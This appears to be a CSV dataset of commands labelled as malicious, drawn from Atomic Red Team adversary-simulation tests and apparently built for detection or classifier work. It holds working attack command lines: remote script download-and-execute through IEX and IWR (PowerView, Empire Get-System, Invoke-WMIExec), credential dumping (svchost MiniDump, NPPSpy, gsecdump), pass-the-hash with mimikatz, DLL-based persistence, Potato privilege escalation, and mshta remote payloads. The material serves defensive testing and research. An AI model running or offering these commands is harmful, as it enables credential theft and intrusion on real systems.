",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f601124e6e58f6858ca8ff0a,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainPolicy -verbose,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainPolicy -verbose,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1201/T1201.yaml,Get-DomainPolicy with PowerView,T1201,"[""T1201""]",windows,0.9,False,"Utilizing PowerView, run Get-DomainPolicy to return the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b05de7f7f894d76d5cc3a5fa,secedit.exe /export /areas SECURITYPOLICY /cfg output_mysecpol.txt,secedit.exe /export /areas SECURITYPOLICY /cfg output_mysecpol.txt,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1201/T1201.yaml,Use of SecEdit.exe to export the local security policy (including the password policy),T1201,"[""T1201""]",windows,0.9,False,"SecEdit.exe can be used to export the current local security policy applied to a host.
[Reference](https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ebf3876baf195d277283f720,aws iam get-account-password-policy,aws iam get-account-password-policy,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1201/T1201.yaml,Examine AWS Password Policy,T1201,"[""T1201""]",iaas:aws,0.9,False,"This atomic test will display details about the password policy for the current AWS account.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
83d28eee557dae46ae7def10,"net stop w32time Copy-Item ""$PathToAtomicsFolder\T1547.003\bin\AtomicTest.dll"" C:\Users\Public\AtomicTest.dll reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest"" /t REG_SZ /v ""DllName"" /d ""C:\Users\Public\AtomicTest.dll"" /f reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest"" /t REG_DWORD /v ""Enabled"" /d ""1"" /f reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest"" /t REG_DWORD /v ""InputProvider"" /d ""1"" /f net start w32time","net stop w32time Copy-Item ""$PathToAtomicsFolder\T1547.003\bin\AtomicTest.dll"" C:\Users\Public\AtomicTest.dll reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest"" /t REG_SZ /v ""DllName"" /d ""C:\Users\Public\AtomicTest.dll"" /f reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest"" /t REG_DWORD /v ""Enabled"" /d ""1"" /f reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest"" /t REG_DWORD /v ""InputProvider"" /d ""1"" /f net start w32time",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.003/T1547.003.yaml,Create a new time provider,T1547.003,"[""T1547.003""]",windows,0.9,False,"Establishes persistence by creating a new time provider registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider.
The new time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt
in C:\Users\Public\ as validation that the test is successful.

Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
df342f2a7bbaf50f9c244d1a,"net stop w32time reg delete ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest"" /f rm -force C:\Users\Public\AtomicTest.dll net start w32time","net stop w32time reg delete ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest"" /f rm -force C:\Users\Public\AtomicTest.dll net start w32time",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.003/T1547.003.yaml,Create a new time provider,T1547.003,"[""T1547.003""]",windows,0.55,True,"Establishes persistence by creating a new time provider registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider.
The new time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt
in C:\Users\Public\ as validation that the test is successful.

Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ea7c8cc0c5c655dd6237dc71,"net stop w32time Copy-Item ""$PathToAtomicsFolder\T1547.003\bin\AtomicTest.dll"" C:\Users\Public\AtomicTest.dll reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer"" /t REG_SZ /v ""DllName"" /d ""C:\Users\Public\AtomicTest.dll"" /f reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer"" /t REG_DWORD /v ""Enabled"" /d ""1"" /f reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer"" /t REG_DWORD /v ""InputProvider"" /d ""1"" /f net start w32time","net stop w32time Copy-Item ""$PathToAtomicsFolder\T1547.003\bin\AtomicTest.dll"" C:\Users\Public\AtomicTest.dll reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer"" /t REG_SZ /v ""DllName"" /d ""C:\Users\Public\AtomicTest.dll"" /f reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer"" /t REG_DWORD /v ""Enabled"" /d ""1"" /f reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer"" /t REG_DWORD /v ""InputProvider"" /d ""1"" /f net start w32time",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.003/T1547.003.yaml,Edit an existing time provider,T1547.003,"[""T1547.003""]",windows,0.9,False,"Establishes persistence by editing the NtpServer time provider registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider.
The time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt
in C:\Users\Public\ as validation that the test is successful.

Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d048602ab9a7d7f05a21c7f0,"net stop w32time reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer"" /t REG_SZ /v ""DllName"" /d ""C:\Windows\SYSTEM32\w32time.DLL"" /f reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer"" /t REG_DWORD /v ""Enabled"" /d ""0"" /f reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer"" /t REG_DWORD /v ""InputProvider"" /d ""0"" /f rm -force C:\Users\Public\AtomicTest.dll net start w32time","net stop w32time reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer"" /t REG_SZ /v ""DllName"" /d ""C:\Windows\SYSTEM32\w32time.DLL"" /f reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer"" /t REG_DWORD /v ""Enabled"" /d ""0"" /f reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer"" /t REG_DWORD /v ""InputProvider"" /d ""0"" /f rm -force C:\Users\Public\AtomicTest.dll net start w32time",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.003/T1547.003.yaml,Edit an existing time provider,T1547.003,"[""T1547.003""]",windows,0.55,True,"Establishes persistence by editing the NtpServer time provider registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider.
The time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt
in C:\Users\Public\ as validation that the test is successful.

Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
45808b09e2d6fd3331a74d49,"if [ -f ~/.ssh/authorized_keys ]; then ssh_authorized_keys=$(cat ~/.ssh/authorized_keys); echo ""$ssh_authorized_keys"" > ~/.ssh/authorized_keys; fi;","if [ -f ~/.ssh/authorized_keys ]; then ssh_authorized_keys=$(cat ~/.ssh/authorized_keys); echo ""$ssh_authorized_keys"" > ~/.ssh/authorized_keys; fi;",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1098.004/T1098.004.yaml,Modify SSH Authorized Keys,T1098.004,"[""T1098.004""]","linux,macos",0.9,False,"Modify contents of <user-home>/.ssh/authorized_keys to maintain persistence on victim host. 
If the user is able to save the same contents in the authorized_keys file, it shows user can modify the file.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
18eef6849cff407cff7ca04f,unset ssh_authorized_keys,unset ssh_authorized_keys,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1098.004/T1098.004.yaml,Modify SSH Authorized Keys,T1098.004,"[""T1098.004""]","linux,macos",0.55,True,"Modify contents of <user-home>/.ssh/authorized_keys to maintain persistence on victim host. 
If the user is able to save the same contents in the authorized_keys file, it shows user can modify the file.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
54f21e49eee299f07e58c7ce,"Install-TransportAgent -Name #{transport_agent_identity} -TransportAgentFactory #{class_factory} -AssemblyPath #{dll_path} Enable-TransportAgent #{transport_agent_identity} Get-TransportAgent | Format-List Name,Enabled","Install-TransportAgent -Name #{transport_agent_identity} -TransportAgentFactory #{class_factory} -AssemblyPath #{dll_path} Enable-TransportAgent #{transport_agent_identity} Get-TransportAgent | Format-List Name,Enabled",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1505.002/T1505.002.yaml,Install MS Exchange Transport Agent Persistence,T1505.002,"[""T1505.002""]",windows,0.9,False,"Install a Microsoft Exchange Transport Agent for persistence. This requires execution from an Exchange Client Access Server and the creation of a DLL with specific exports. Seen in use by Turla.
More details- https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c9029d2fa2f7b31f8336e7e1,"if(Get-Command ""Get-TransportAgent"" -ErrorAction Ignore){ Disable-TransportAgent #{transport_agent_identity} Uninstall-TransportAgent #{transport_agent_identity} Get-TransportAgent }","if(Get-Command ""Get-TransportAgent"" -ErrorAction Ignore){ Disable-TransportAgent #{transport_agent_identity} Uninstall-TransportAgent #{transport_agent_identity} Get-TransportAgent }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1505.002/T1505.002.yaml,Install MS Exchange Transport Agent Persistence,T1505.002,"[""T1505.002""]",windows,0.55,True,"Install a Microsoft Exchange Transport Agent for persistence. This requires execution from an Exchange Client Access Server and the creation of a DLL with specific exports. Seen in use by Turla.
More details- https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f80332b314e28ec2e959e77b,"""#{gsecdump_exe}"" -a","""#{gsecdump_exe}"" -a",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003/T1003.yaml,Gsecdump,T1003,"[""T1003""]",windows,0.9,False,"Dump credentials from memory using Gsecdump.

Upon successful execution, you should see domain\username's followed by two 32 character hashes.

If you see output that says ""compat: error: failed to create child process"", execution was likely blocked by Anti-Virus. 
You will receive only error output if you do not run this test from an elevated context (run as administrator)

If you see a message saying ""The system cannot find the path specified"", try using the get-prereq_commands to download and",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cbaf0de14dcd984dc125ec9b,"$cleanupPath = Get-ItemProperty -Path ""HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order"" -Name PROVIDERORDER $cleanupUpdatedValue = $cleanupPath.PROVIDERORDER $cleanupUpdatedValue = $cleanupUpdatedValue -replace ',NPPSpy','' Set-ItemProperty -Path $cleanupPath.PSPath -Name ""PROVIDERORDER"" -Value $cleanupUpdatedValue Remove-Item -Path ""HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy"" -Recurse -ErrorAction Ignore Remove-Item C:\NPPSpy.txt -ErrorAction Ignore Remove-Item C:\Windows\System32\NPPSpy.dll -ErrorAction Ignore","$cleanupPath = Get-ItemProperty -Path ""HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order"" -Name PROVIDERORDER $cleanupUpdatedValue = $cleanupPath.PROVIDERORDER $cleanupUpdatedValue = $cleanupUpdatedValue -replace ',NPPSpy','' Set-ItemProperty -Path $cleanupPath.PSPath -Name ""PROVIDERORDER"" -Value $cleanupUpdatedValue Remove-Item -Path ""HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy"" -Recurse -ErrorAction Ignore Remove-Item C:\NPPSpy.txt -ErrorAction Ignore Remove-Item C:\Windows\System32\NPPSpy.dll -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003/T1003.yaml,Credential Dumping with NPPSpy,T1003,"[""T1003""]",windows,0.55,True,"Changes ProviderOrder Registry Key Parameter and creates Key for NPPSpy.
After user's logging in cleartext password is saved in C:\NPPSpy.txt.
Clean up deletes the files and reverses Registry changes.
NPPSpy Source: https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4682ee95fbb40050ab849829,"$ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAction Ignore) if($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0].Id } C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump $id $env:TEMP\svchost-exe.dmp full","$ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAction Ignore) if($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0].Id } C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump $id $env:TEMP\svchost-exe.dmp full",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003/T1003.yaml,Dump svchost.exe to gather RDP credentials,T1003,"[""T1003""]",windows,0.9,False,"The svchost.exe contains the RDP plain-text credentials.
Source: https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/

Upon successful execution, you should see the following file created $env:TEMP\svchost-exe.dmp.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8e4716152d4a715178d6e782,Remove-Item $env:TEMP\svchost-exe.dmp -ErrorAction Ignore,Remove-Item $env:TEMP\svchost-exe.dmp -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003/T1003.yaml,Dump svchost.exe to gather RDP credentials,T1003,"[""T1003""]",windows,0.55,True,"The svchost.exe contains the RDP plain-text credentials.
Source: https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/

Upon successful execution, you should see the following file created $env:TEMP\svchost-exe.dmp.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1bbb23f112616010dbb5bf58,C:\Windows\System32\inetsrv\appcmd.exe list apppool /@t:* C:\Windows\System32\inetsrv\appcmd.exe list apppool /@text:* C:\Windows\System32\inetsrv\appcmd.exe list apppool /text:*,C:\Windows\System32\inetsrv\appcmd.exe list apppool /@t:* C:\Windows\System32\inetsrv\appcmd.exe list apppool /@text:* C:\Windows\System32\inetsrv\appcmd.exe list apppool /text:*,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003/T1003.yaml,Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using list),T1003,"[""T1003""]",windows,0.9,False,"AppCmd.exe is a command line utility which is used for managing an IIS web server. The list command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes.
[Reference](https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA)",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
98e11c2cea9e265ccc78c8c0,C:\Windows\System32\inetsrv\appcmd.exe list apppool /config,C:\Windows\System32\inetsrv\appcmd.exe list apppool /config,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003/T1003.yaml,Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using config),T1003,"[""T1003""]",windows,0.9,False,"AppCmd.exe is a command line utility which is used for managing an IIS web server. The config command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes.
[Reference](https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA)",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ebb698f2f62eed0a7186032c,"rundll32.exe keymgr,KRShowKeyMgr","rundll32.exe keymgr,KRShowKeyMgr",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003/T1003.yaml,Dump Credential Manager using keymgr.dll and rundll32.exe,T1003,"[""T1003""]",windows,0.9,False,"This test executes the exported function `KRShowKeyMgr` located in `keymgr.dll` using `rundll32.exe`. It opens a window that allows to export stored Windows credentials from the credential manager to a file (`.crd` by default). The file can then be retrieved and imported on an attacker-controlled computer to list the credentials get the passwords. The only limitation is that it requires a CTRL+ALT+DELETE input from the attacker, which can be achieve multiple ways (e.g. a custom implant with remo",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
68d98b8edeed8121c65c63d4,rpcping -s #{server_ip} -e #{custom_port} -a privacy -u NTLM 1>$Null,rpcping -s #{server_ip} -e #{custom_port} -a privacy -u NTLM 1>$Null,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003/T1003.yaml,Send NTLM Hash with RPC Test Connection,T1003,"[""T1003""]",windows,0.9,False,"RpcPing command can be used to send an RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process. 
Ref: https://twitter.com/vysecurity/status/974806438316072960",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
625413e30991932171d54cfc,"#{mimikatz_path} ""sekurlsa::pth /user:#{user_name} /domain:#{domain} /ntlm:#{ntlm}""","#{mimikatz_path} ""sekurlsa::pth /user:#{user_name} /domain:#{domain} /ntlm:#{ntlm}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1550.002/T1550.002.yaml,Mimikatz Pass the Hash,T1550.002,"[""T1550.002""]",windows,0.9,False,"Note: must dump hashes first
[Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c510d3e8711ad8ba24ed7b74,#{crackmapexec_exe} #{domain} -u #{user_name} -H #{ntlm} -x #{command},#{crackmapexec_exe} #{domain} -u #{user_name} -H #{ntlm} -x #{command},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1550.002/T1550.002.yaml,crackmapexec Pass the Hash,T1550.002,"[""T1550.002""]",windows,0.9,False,"command execute with crackmapexec
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
966aca7a4884782107cb5708,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/01ee90f934313acc7d09560902443c18694ed0eb/Invoke-WMIExec.ps1' -UseBasicParsing);Invoke-WMIExec -Target #{target} -Username #{user_name} -Hash #{ntlm} -Command #{command},[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/01ee90f934313acc7d09560902443c18694ed0eb/Invoke-WMIExec.ps1' -UseBasicParsing);Invoke-WMIExec -Target #{target} -Username #{user_name} -Hash #{ntlm} -Command #{command},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1550.002/T1550.002.yaml,Invoke-WMIExec Pass the Hash,T1550.002,"[""T1550.002""]",windows,0.9,False,"Use Invoke-WMIExec to Pass the Hash
Note: must dump hashes first
[Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth)",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
30cf6324b1e8d332b89446ec,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1134.001/T1134.001.yaml,Named pipe client impersonation,T1134.001,"[""T1134.001""]",windows,0.9,False,"Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script creates a named pipe, and a service that writes to that named pipe. When the service connects to the named pipe, the script impersonates its security context.
When executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).

Reference: https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
24cfb343d5a1b2302cba88f8,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique Token -Verbose,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique Token -Verbose,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1134.001/T1134.001.yaml,`SeDebugPrivilege` token duplication,T1134.001,"[""T1134.001""]",windows,0.9,False,"Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script uses `SeDebugPrivilege` to obtain, duplicate and impersonate the token of a another process.
When executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
255c783493e410e413d78814,"Start-Process ""#{nsudo_path}"" -Argument ""-U:T -P:E cmd"" Start-Sleep -Second 5 Stop-Process -Name ""cmd"" -force -erroraction silentlycontinue","Start-Process ""#{nsudo_path}"" -Argument ""-U:T -P:E cmd"" Start-Sleep -Second 5 Stop-Process -Name ""cmd"" -force -erroraction silentlycontinue",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1134.001/T1134.001.yaml,Launch NSudo Executable,T1134.001,"[""T1134.001""]",windows,0.9,False,"Launches the NSudo executable for a short period of time and then exits.
NSudo download observed after maldoc execution. NSudo is a system management tool for advanced users to launch programs with full privileges.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ec71031fc480f81ce1d4c0c5,"cd ""PathToAtomicsFolder\..\ExternalPayloads"" Start-Process .\BadPotato.exe notepad.exe Start-Sleep -Second 20 Stop-Process -Name ""notepad"" -force -erroraction silentlycontinue Stop-Process -Name ""BadPotato"" -force -erroraction silentlycontinue","cd ""PathToAtomicsFolder\..\ExternalPayloads"" Start-Process .\BadPotato.exe notepad.exe Start-Sleep -Second 20 Stop-Process -Name ""notepad"" -force -erroraction silentlycontinue Stop-Process -Name ""BadPotato"" -force -erroraction silentlycontinue",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1134.001/T1134.001.yaml,Bad Potato,T1134.001,"[""T1134.001""]",windows,0.9,False,"https://github.com/BeichenDream/BadPotato
Privilege escalation using named pipe connections",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d4a74a478f29c4d28fb4bfc4,taskkill /f /im notepad.exe,taskkill /f /im notepad.exe,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1134.001/T1134.001.yaml,Bad Potato,T1134.001,"[""T1134.001""]",windows,0.55,True,"https://github.com/BeichenDream/BadPotato
Privilege escalation using named pipe connections",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f2959a7af77a6bf692cc6656,cmd /c '#{potato_path}' -l '#{listening_port}' -t * -p '#{target_exe}' -c '#{target_CLSID}',cmd /c '#{potato_path}' -l '#{listening_port}' -t * -p '#{target_exe}' -c '#{target_CLSID}',bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1134.001/T1134.001.yaml,Juicy Potato,T1134.001,"[""T1134.001""]",windows,0.9,False,"This Atomic utilizes Juicy Potato to obtain privilege escalation. 
Upon successful execution of this test, a vulnerable CLSID will be used to execute a process with system permissions.
This tactic has been previously observed in SnapMC Ransomware, amongst numerous other campaigns. 
[Reference](https://blog.fox-it.com/2021/10/11/snapmc-skips-ransomware-steals-data/)",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7a2c928727afde4593068fb7,"get-ciminstance Win32_Process | where-object { $_.Path -eq ""#{target_exe}"" } | invoke-cimmethod -methodname ""terminate"" | out-null get-ciminstance Win32_Process | where-object { $_.Path -eq ""#{potato_path}"" } | invoke-cimmethod -methodname ""terminate"" | out-null","get-ciminstance Win32_Process | where-object { $_.Path -eq ""#{target_exe}"" } | invoke-cimmethod -methodname ""terminate"" | out-null get-ciminstance Win32_Process | where-object { $_.Path -eq ""#{potato_path}"" } | invoke-cimmethod -methodname ""terminate"" | out-null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1134.001/T1134.001.yaml,Juicy Potato,T1134.001,"[""T1134.001""]",windows,0.55,True,"This Atomic utilizes Juicy Potato to obtain privilege escalation. 
Upon successful execution of this test, a vulnerable CLSID will be used to execute a process with system permissions.
This tactic has been previously observed in SnapMC Ransomware, amongst numerous other campaigns. 
[Reference](https://blog.fox-it.com/2021/10/11/snapmc-skips-ransomware-steals-data/)",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d8cfaf42e28362fbf79c1f91,mshta.exe javascript:a=(GetObject('script:#{file_url}')).Exec();close();,mshta.exe javascript:a=(GetObject('script:#{file_url}')).Exec();close();,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.005/T1218.005.yaml,Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject,T1218.005,"[""T1218.005""]",windows,0.9,False,"Test execution of a remote script using mshta.exe. Upon execution calc.exe will be launched.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
eab2c1dc59b3c29fe97e4386,"mshta vbscript:Execute(""CreateObject(""""Wscript.Shell"""").Run """"powershell -noexit -file PathToAtomicsFolder\T1218.005\src\powershell.ps1"""":close"")","mshta vbscript:Execute(""CreateObject(""""Wscript.Shell"""").Run """"powershell -noexit -file PathToAtomicsFolder\T1218.005\src\powershell.ps1"""":close"")",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.005/T1218.005.yaml,Mshta executes VBScript to execute malicious command,T1218.005,"[""T1218.005""]",windows,0.9,False,"Run a local VB script to run local user enumeration powershell command.
This attempts to emulate what FIN7 does with this technique which is using mshta.exe to execute VBScript to execute malicious code on victim systems.
Upon execution, a new PowerShell windows will be opened that displays user information.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
